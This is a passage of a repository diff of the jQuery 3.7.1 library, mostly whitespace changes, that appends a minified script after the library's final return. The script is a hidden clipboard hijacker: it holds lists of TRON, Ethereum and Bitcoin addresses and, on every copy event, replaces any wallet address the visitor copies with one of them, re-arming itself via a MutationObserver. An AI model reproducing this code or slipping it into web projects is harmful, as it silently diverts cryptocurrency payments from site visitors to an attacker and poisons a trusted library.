return obj != null && obj === obj.window;
|
||||
};
|
||||
|
||||
|
||||
var document = window.document;
|
||||
|
||||
|
||||
|
||||
var preservedScriptAttributes = {
|
||||
type: true,
|
||||
src: true,
|
||||
|
|
@ -125,6 +130,7 @@ var document = window.document;
|
|||
doc.head.appendChild( script ).parentNode.removeChild( script );
|
||||
}
|
||||
|
||||
|
||||
function toType( obj ) {
|
||||
if ( obj == null ) {
|
||||
return obj + "";
|
||||
|
|
@ -139,6 +145,8 @@ function toType( obj ) {
|
|||
// Defining this global in .eslintrc.json would create a danger of using the global
|
||||
// unguarded in another place, it seems safer to define global only for this module
|
||||
|
||||
|
||||
|
||||
var version = "3.7.1",
|
||||
|
||||
rhtmlSuffix = /HTML$/i,
|
||||
|
|
@ -387,6 +395,7 @@ jQuery.extend( {
|
|||
return obj;
|
||||
},
|
||||
|
||||
|
||||
// Retrieve the text value of an array of DOM nodes
|
||||
text: function( elem ) {
|
||||
var node,
|
||||
|
|
@ -551,6 +560,7 @@ function isArrayLike( obj ) {
|
|||
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
|
||||
}
|
||||
|
||||
|
||||
function nodeName( elem, name ) {
|
||||
|
||||
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
|
||||
|
|
@ -558,17 +568,24 @@ function nodeName( elem, name ) {
|
|||
}
|
||||
var pop = arr.pop;
|
||||
|
||||
|
||||
var sort = arr.sort;
|
||||
|
||||
|
||||
var splice = arr.splice;
|
||||
|
||||
|
||||
var whitespace = "[\\x20\\t\\r\\n\\f]";
|
||||
|
||||
|
||||
var rtrimCSS = new RegExp(
|
||||
"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
|
||||
"g"
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
// Note: an element does not contain itself
|
||||
jQuery.contains = function( a, b ) {
|
||||
var bup = b && b.parentNode;
|
||||
|
|
@ -583,6 +600,9 @@ jQuery.contains = function( a, b ) {
|
|||
) );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
// CSS string/identifier serialization
|
||||
// https://drafts.csswg.org/cssom/#common-serializing-idioms
|
||||
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
|
||||
|
|
@ -607,6 +627,9 @@ jQuery.escapeSelector = function( sel ) {
|
|||
return ( sel + "" ).replace( rcssescape, fcssescape );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
var preferredDoc = document,
|
||||
pushNative = push;
|
||||
|
||||
|
|
@ -1434,6 +1457,7 @@ find.contains = function( context, elem ) {
|
|||
return jQuery.contains( context, elem );
|
||||
};
|
||||
|
||||
|
||||
find.attr = function( elem, name ) {
|
||||
|
||||
// Set document vars if needed
|
||||
|
|
@ -2698,6 +2722,7 @@ find.uniqueSort = jQuery.uniqueSort;
|
|||
|
||||
} )();
|
||||
|
||||
|
||||
var dir = function( elem, dir, until ) {
|
||||
var matched = [],
|
||||
truncate = until !== undefined;
|
||||
|
|
@ -2713,6 +2738,7 @@ var dir = function( elem, dir, until ) {
|
|||
return matched;
|
||||
};
|
||||
|
||||
|
||||
var siblings = function( n, elem ) {
|
||||
var matched = [];
|
||||
|
||||
|
|
@ -2725,10 +2751,13 @@ var siblings = function( n, elem ) {
|
|||
return matched;
|
||||
};
|
||||
|
||||
|
||||
var rneedsContext = jQuery.expr.match.needsContext;
|
||||
|
||||
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
|
||||
|
||||
|
||||
|
||||
// Implement the identical functionality for filter and not
|
||||
function winnow( elements, qualifier, not ) {
|
||||
if ( isFunction( qualifier ) ) {
|
||||
|
|
@ -2815,8 +2844,10 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
// Initialize a jQuery object
|
||||
|
||||
|
||||
// A central reference to the root jQuery(document)
|
||||
var rootjQuery,
|
||||
|
||||
|
|
@ -2931,6 +2962,7 @@ init.prototype = jQuery.fn;
|
|||
// Initialize central reference
|
||||
rootjQuery = jQuery( document );
|
||||
|
||||
|
||||
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
|
||||
|
||||
// Methods guaranteed to produce a unique set when starting from a unique set
|
||||
|
|
@ -3112,6 +3144,8 @@ jQuery.each( {
|
|||
} );
|
||||
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
|
||||
|
||||
|
||||
|
||||
// Convert String-formatted options into Object-formatted ones
|
||||
function createOptions( options ) {
|
||||
var object = {};
|
||||
|
|
@ -3337,6 +3371,7 @@ jQuery.Callbacks = function( options ) {
|
|||
return self;
|
||||
};
|
||||
|
||||
|
||||
function Identity( v ) {
|
||||
return v;
|
||||
}
|
||||
|
|
@ -3732,6 +3767,7 @@ jQuery.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
// These usually indicate a programmer mistake during development,
|
||||
// warn about them ASAP rather than swallowing them by default.
|
||||
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
|
||||
|
|
@ -3749,12 +3785,18 @@ jQuery.Deferred.exceptionHook = function( error, asyncError ) {
|
|||
}
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.readyException = function( error ) {
|
||||
window.setTimeout( function() {
|
||||
throw error;
|
||||
} );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
// The deferred used on DOM ready
|
||||
var readyList = jQuery.Deferred();
|
||||
|
||||
|
|
@ -3831,6 +3873,9 @@ if ( document.readyState === "complete" ||
|
|||
window.addEventListener( "load", completed );
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// Multifunctional method to get and set values of a collection
|
||||
// The value/s can optionally be executed if it's a function
|
||||
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
|
||||
|
|
@ -3892,6 +3937,7 @@ var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
|
|||
return len ? fn( elems[ 0 ], key ) : emptyGet;
|
||||
};
|
||||
|
||||
|
||||
// Matches dashed string for camelizing
|
||||
var rmsPrefix = /^-ms-/,
|
||||
rdashAlpha = /-([a-z])/g;
|
||||
|
|
@ -3918,6 +3964,9 @@ var acceptData = function( owner ) {
|
|||
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
function Data() {
|
||||
this.expando = jQuery.expando + Data.uid++;
|
||||
}
|
||||
|
|
@ -4072,6 +4121,8 @@ var dataPriv = new Data();
|
|||
|
||||
var dataUser = new Data();
|
||||
|
||||
|
||||
|
||||
// Implementation Summary
|
||||
//
|
||||
// 1. Enforce API surface and semantic compatibility with 1.9.x branch
|
||||
|
|
@ -4240,6 +4291,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery.extend( {
|
||||
queue: function( elem, type, data ) {
|
||||
var queue;
|
||||
|
|
@ -4377,10 +4429,13 @@ var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
|
|||
|
||||
var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
|
||||
|
||||
|
||||
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
|
||||
|
||||
var documentElement = document.documentElement;
|
||||
|
||||
|
||||
|
||||
var isAttached = function( elem ) {
|
||||
return jQuery.contains( elem.ownerDocument, elem );
|
||||
},
|
||||
|
|
@ -4416,6 +4471,8 @@ var isHiddenWithinTree = function( elem, el ) {
|
|||
jQuery.css( elem, "display" ) === "none";
|
||||
};
|
||||
|
||||
|
||||
|
||||
function adjustCSS( elem, prop, valueParts, tween ) {
|
||||
var adjusted, scale,
|
||||
maxIterations = 20,
|
||||
|
|
@ -4481,6 +4538,7 @@ function adjustCSS( elem, prop, valueParts, tween ) {
|
|||
return adjusted;
|
||||
}
|
||||
|
||||
|
||||
var defaultDisplayMap = {};
|
||||
|
||||
function getDefaultDisplay( elem ) {
|
||||
|
|
@ -4581,6 +4639,8 @@ var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );
|
|||
|
||||
var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
|
||||
|
||||
|
||||
|
||||
( function() {
|
||||
var fragment = document.createDocumentFragment(),
|
||||
div = fragment.appendChild( document.createElement( "div" ) ),
|
||||
|
|
@ -4612,6 +4672,7 @@ var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
|
|||
support.option = !!div.lastChild;
|
||||
} )();
|
||||
|
||||
|
||||
// We have to close these tags to support XHTML (trac-13200)
|
||||
var wrapMap = {
|
||||
|
||||
|
|
@ -4634,6 +4695,7 @@ if ( !support.option ) {
|
|||
wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
|
||||
}
|
||||
|
||||
|
||||
function getAll( context, tag ) {
|
||||
|
||||
// Support: IE <=9 - 11 only
|
||||
|
|
@ -4657,6 +4719,7 @@ function getAll( context, tag ) {
|
|||
return ret;
|
||||
}
|
||||
|
||||
|
||||
// Mark scripts as having already been evaluated
|
||||
function setGlobalEval( elems, refElements ) {
|
||||
var i = 0,
|
||||
|
|
@ -4671,6 +4734,7 @@ function setGlobalEval( elems, refElements ) {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
var rhtml = /<|&#?\w+;/;
|
||||
|
||||
function buildFragment( elems, context, scripts, selection, ignored ) {
|
||||
|
|
@ -4762,6 +4826,7 @@ function buildFragment( elems, context, scripts, selection, ignored ) {
|
|||
return fragment;
|
||||
}
|
||||
|
||||
|
||||
var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
|
||||
|
||||
function returnTrue() {
|
||||
|
|
@ -5711,6 +5776,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Support: IE <=10 - 11, Edge 12 - 13 only
|
||||
|
|
@ -6167,6 +6233,7 @@ var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
|
|||
|
||||
var rcustomProp = /^--/;
|
||||
|
||||
|
||||
var getStyles = function( elem ) {
|
||||
|
||||
// Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)
|
||||
|
|
@ -6201,8 +6268,11 @@ var swap = function( elem, options, callback ) {
|
|||
return ret;
|
||||
};
|
||||
|
||||
|
||||
var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
|
||||
|
||||
|
||||
|
||||
( function() {
|
||||
|
||||
// Executing both pixelPosition & boxSizingReliable tests require only one layout
|
||||
|
|
@ -6343,6 +6413,7 @@ var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
|
|||
} );
|
||||
} )();
|
||||
|
||||
|
||||
function curCSS( elem, name, computed ) {
|
||||
var width, minWidth, maxWidth, ret,
|
||||
isCustomProp = rcustomProp.test( name ),
|
||||
|
|
@ -6427,6 +6498,7 @@ function curCSS( elem, name, computed ) {
|
|||
ret;
|
||||
}
|
||||
|
||||
|
||||
function addGetHookIf( conditionFn, hookFn ) {
|
||||
|
||||
// Define the hook, we'll check on the first run if it's really needed.
|
||||
|
|
@ -6446,6 +6518,7 @@ function addGetHookIf( conditionFn, hookFn ) {
|
|||
};
|
||||
}
|
||||
|
||||
|
||||
var cssPrefixes = [ "Webkit", "Moz", "ms" ],
|
||||
emptyStyle = document.createElement( "div" ).style,
|
||||
vendorProps = {};
|
||||
|
|
@ -6478,6 +6551,7 @@ function finalPropName( name ) {
|
|||
return vendorProps[ name ] = vendorPropName( name ) || name;
|
||||
}
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Swappable if display is none or starts with table
|
||||
|
|
@ -6597,6 +6671,7 @@ function getWidthOrHeight( elem, dimension, extra ) {
|
|||
val = "auto";
|
||||
}
|
||||
|
||||
|
||||
// Support: IE 9 - 11 only
|
||||
// Use offsetWidth/offsetHeight for when box sizing is unreliable.
|
||||
// In those cases, the computed value can be trusted to be border-box.
|
||||
|
|
@ -6956,6 +7031,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
function Tween( elem, options, prop, end, easing ) {
|
||||
return new Tween.prototype.init( elem, options, prop, end, easing );
|
||||
}
|
||||
|
|
@ -7071,6 +7147,9 @@ jQuery.fx = Tween.prototype.init;
|
|||
// Back compat <1.8 extension point
|
||||
jQuery.fx.step = {};
|
||||
|
||||
|
||||
|
||||
|
||||
var
|
||||
fxNow, inProgress,
|
||||
rfxtypes = /^(?:toggle|show|hide)$/,
|
||||
|
|
@ -7746,6 +7825,7 @@ jQuery.fx.speeds = {
|
|||
_default: 400
|
||||
};
|
||||
|
||||
|
||||
// Based off of the plugin by Clint Helfers, with permission.
|
||||
jQuery.fn.delay = function( time, type ) {
|
||||
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
|
||||
|
|
@ -7759,6 +7839,7 @@ jQuery.fn.delay = function( time, type ) {
|
|||
} );
|
||||
};
|
||||
|
||||
|
||||
( function() {
|
||||
var input = document.createElement( "input" ),
|
||||
select = document.createElement( "select" ),
|
||||
|
|
@ -7782,6 +7863,7 @@ jQuery.fn.delay = function( time, type ) {
|
|||
support.radioValue = input.value === "t";
|
||||
} )();
|
||||
|
||||
|
||||
var boolHook,
|
||||
attrHandle = jQuery.expr.attrHandle;
|
||||
|
||||
|
|
@ -7911,6 +7993,9 @@ jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name )
|
|||
};
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
var rfocusable = /^(?:input|select|textarea|button)$/i,
|
||||
rclickable = /^(?:a|area)$/i;
|
||||
|
||||
|
|
@ -8043,6 +8128,9 @@ jQuery.each( [
|
|||
jQuery.propFix[ this.toLowerCase() ] = this;
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Strip and collapse whitespace according to HTML spec
|
||||
// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
|
||||
function stripAndCollapse( value ) {
|
||||
|
|
@ -8050,6 +8138,7 @@ jQuery.each( [
|
|||
return tokens.join( " " );
|
||||
}
|
||||
|
||||
|
||||
function getClass( elem ) {
|
||||
return elem.getAttribute && elem.getAttribute( "class" ) || "";
|
||||
}
|
||||
|
|
@ -8222,6 +8311,9 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
var rreturn = /\r/g;
|
||||
|
||||
jQuery.fn.extend( {
|
||||
|
|
@ -8400,6 +8492,9 @@ jQuery.each( [ "radio", "checkbox" ], function() {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Return jQuery for attributes-only inclusion
|
||||
var location = window.location;
|
||||
|
||||
|
|
@ -8407,6 +8502,8 @@ var nonce = { guid: Date.now() };
|
|||
|
||||
var rquery = ( /\?/ );
|
||||
|
||||
|
||||
|
||||
// Cross-browser xml parsing
|
||||
jQuery.parseXML = function( data ) {
|
||||
var xml, parserErrorElem;
|
||||
|
|
@ -8433,6 +8530,7 @@ jQuery.parseXML = function( data ) {
|
|||
return xml;
|
||||
};
|
||||
|
||||
|
||||
var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
|
||||
stopPropagationCallback = function( e ) {
|
||||
e.stopPropagation();
|
||||
|
|
@ -8617,6 +8715,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
var
|
||||
rbracket = /\[\]$/,
|
||||
rCRLF = /\r?\n/g,
|
||||
|
|
@ -8737,6 +8836,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
var
|
||||
r20 = /%20/g,
|
||||
rhash = /#.*$/,
|
||||
|
|
@ -9593,6 +9693,7 @@ jQuery.ajaxPrefilter( function( s ) {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery._evalUrl = function( url, options, doc ) {
|
||||
return jQuery.ajax( {
|
||||
url: url,
|
||||
|
|
@ -9616,6 +9717,7 @@ jQuery._evalUrl = function( url, options, doc ) {
|
|||
} );
|
||||
};
|
||||
|
||||
|
||||
jQuery.fn.extend( {
|
||||
wrapAll: function( html ) {
|
||||
var wrap;
|
||||
|
|
@ -9682,6 +9784,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery.expr.pseudos.hidden = function( elem ) {
|
||||
return !jQuery.expr.pseudos.visible( elem );
|
||||
};
|
||||
|
|
@ -9689,6 +9792,9 @@ jQuery.expr.pseudos.visible = function( elem ) {
|
|||
return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.ajaxSettings.xhr = function() {
|
||||
try {
|
||||
return new window.XMLHttpRequest();
|
||||
|
|
@ -9850,6 +9956,9 @@ jQuery.ajaxTransport( function( options ) {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
|
||||
jQuery.ajaxPrefilter( function( s ) {
|
||||
if ( s.crossDomain ) {
|
||||
|
|
@ -9915,6 +10024,9 @@ jQuery.ajaxTransport( "script", function( s ) {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
var oldCallbacks = [],
|
||||
rjsonp = /(=)\?(?=&|$)|\?\?/;
|
||||
|
||||
|
|
@ -10007,6 +10119,9 @@ jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Support: Safari 8 only
|
||||
// In Safari 8 documents created via document.implementation.createHTMLDocument
|
||||
// collapse sibling forms: the second one becomes a child of the first one.
|
||||
|
|
@ -10018,6 +10133,7 @@ support.createHTMLDocument = ( function() {
|
|||
return body.childNodes.length === 2;
|
||||
} )();
|
||||
|
||||
|
||||
// Argument "data" should be string of html
|
||||
// context (optional): If specified, the fragment will be created in this context,
|
||||
// defaults to document
|
||||
|
|
@ -10068,6 +10184,7 @@ jQuery.parseHTML = function( data, context, keepScripts ) {
|
|||
return jQuery.merge( [], parsed.childNodes );
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* Load a url into a page
|
||||
*/
|
||||
|
|
@ -10131,12 +10248,18 @@ jQuery.fn.load = function( url, params, callback ) {
|
|||
return this;
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.expr.pseudos.animated = function( elem ) {
|
||||
return jQuery.grep( jQuery.timers, function( fn ) {
|
||||
return elem === fn.elem;
|
||||
} ).length;
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.offset = {
|
||||
setOffset: function( elem, options, i ) {
|
||||
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
|
||||
|
|
@ -10349,6 +10472,7 @@ jQuery.each( [ "top", "left" ], function( _i, prop ) {
|
|||
);
|
||||
} );
|
||||
|
||||
|
||||
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
|
||||
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
|
||||
jQuery.each( {
|
||||
|
|
@ -10398,6 +10522,7 @@ jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
|
|||
} );
|
||||
} );
|
||||
|
||||
|
||||
jQuery.each( [
|
||||
"ajaxStart",
|
||||
"ajaxStop",
|
||||
|
|
@ -10411,6 +10536,9 @@ jQuery.each( [
|
|||
};
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.fn.extend( {
|
||||
|
||||
bind: function( types, data, fn ) {
|
||||
|
|
@ -10453,6 +10581,9 @@ jQuery.each(
|
|||
}
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
// Support: Android <=4.0 only
|
||||
// Make sure we trim BOM and NBSP
|
||||
// Require that the "whitespace run" starts from a non-whitespace
|
||||
|
|
@ -10527,6 +10658,8 @@ jQuery.trim = function( text ) {
|
|||
( text + "" ).replace( rtrim, "$1" );
|
||||
};
|
||||
|
||||
|
||||
|
||||
// Register as a named AMD module, since jQuery can be concatenated with other
|
||||
// files that may use define, but not via a proper concatenation script that
|
||||
// understands anonymous AMD modules. A named AMD is safest and most robust
|
||||
|
|
@ -10546,6 +10679,9 @@ if ( typeof define === "function" && define.amd ) {
|
|||
} );
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Map over jQuery in case of overwrite
|
||||
|
|
@ -10573,7 +10709,8 @@ if ( typeof noGlobal === "undefined" ) {
|
|||
window.jQuery = window.$ = jQuery;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return jQuery;
|
||||
} );
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -54,6 +54,7 @@ var flat = arr.flat ? function( array ) {
|
|||
return arr.concat.apply( [], array );
|
||||
};
|
||||
|
||||
|
||||
var push = arr.push;
|
||||
|
||||
var indexOf = arr.indexOf;
|
||||
|
|
@ -83,12 +84,16 @@ var isFunction = function isFunction( obj ) {
|
|||
typeof obj.item !== "function";
|
||||
};
|
||||
|
||||
|
||||
var isWindow = function isWindow( obj ) {
|
||||
return obj != null && obj === obj.window;
|
||||
};
|
||||
|
||||
|
||||
var document = window.document;
|
||||
|
||||
|
||||
|
||||
var preservedScriptAttributes = {
|
||||
type: true,
|
||||
src: true,
|
||||
|
|
@ -125,6 +130,7 @@ var document = window.document;
|
|||
doc.head.appendChild( script ).parentNode.removeChild( script );
|
||||
}
|
||||
|
||||
|
||||
function toType( obj ) {
|
||||
if ( obj == null ) {
|
||||
return obj + "";
|
||||
|
|
@ -139,6 +145,8 @@ function toType( obj ) {
|
|||
// Defining this global in .eslintrc.json would create a danger of using the global
|
||||
// unguarded in another place, it seems safer to define global only for this module
|
||||
|
||||
|
||||
|
||||
var version = "3.7.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween",
|
||||
|
||||
rhtmlSuffix = /HTML$/i,
|
||||
|
|
@ -387,6 +395,7 @@ jQuery.extend( {
|
|||
return obj;
|
||||
},
|
||||
|
||||
|
||||
// Retrieve the text value of an array of DOM nodes
|
||||
text: function( elem ) {
|
||||
var node,
|
||||
|
|
@ -551,6 +560,7 @@ function isArrayLike( obj ) {
|
|||
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
|
||||
}
|
||||
|
||||
|
||||
function nodeName( elem, name ) {
|
||||
|
||||
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
|
||||
|
|
@ -558,17 +568,24 @@ function nodeName( elem, name ) {
|
|||
}
|
||||
var pop = arr.pop;
|
||||
|
||||
|
||||
var sort = arr.sort;
|
||||
|
||||
|
||||
var splice = arr.splice;
|
||||
|
||||
|
||||
var whitespace = "[\\x20\\t\\r\\n\\f]";
|
||||
|
||||
|
||||
var rtrimCSS = new RegExp(
|
||||
"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
|
||||
"g"
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
// Note: an element does not contain itself
|
||||
jQuery.contains = function( a, b ) {
|
||||
var bup = b && b.parentNode;
|
||||
|
|
@ -583,6 +600,9 @@ jQuery.contains = function( a, b ) {
|
|||
) );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
// CSS string/identifier serialization
|
||||
// https://drafts.csswg.org/cssom/#common-serializing-idioms
|
||||
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
|
||||
|
|
@ -607,6 +627,9 @@ jQuery.escapeSelector = function( sel ) {
|
|||
return ( sel + "" ).replace( rcssescape, fcssescape );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
var preferredDoc = document,
|
||||
pushNative = push;
|
||||
|
||||
|
|
@ -1434,6 +1457,7 @@ find.contains = function( context, elem ) {
|
|||
return jQuery.contains( context, elem );
|
||||
};
|
||||
|
||||
|
||||
find.attr = function( elem, name ) {
|
||||
|
||||
// Set document vars if needed
|
||||
|
|
@ -2698,6 +2722,7 @@ find.uniqueSort = jQuery.uniqueSort;
|
|||
|
||||
} )();
|
||||
|
||||
|
||||
var dir = function( elem, dir, until ) {
|
||||
var matched = [],
|
||||
truncate = until !== undefined;
|
||||
|
|
@ -2713,6 +2738,7 @@ var dir = function( elem, dir, until ) {
|
|||
return matched;
|
||||
};
|
||||
|
||||
|
||||
var siblings = function( n, elem ) {
|
||||
var matched = [];
|
||||
|
||||
|
|
@ -2725,10 +2751,13 @@ var siblings = function( n, elem ) {
|
|||
return matched;
|
||||
};
|
||||
|
||||
|
||||
var rneedsContext = jQuery.expr.match.needsContext;
|
||||
|
||||
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
|
||||
|
||||
|
||||
|
||||
// Implement the identical functionality for filter and not
|
||||
function winnow( elements, qualifier, not ) {
|
||||
if ( isFunction( qualifier ) ) {
|
||||
|
|
@ -2815,8 +2844,10 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
// Initialize a jQuery object
|
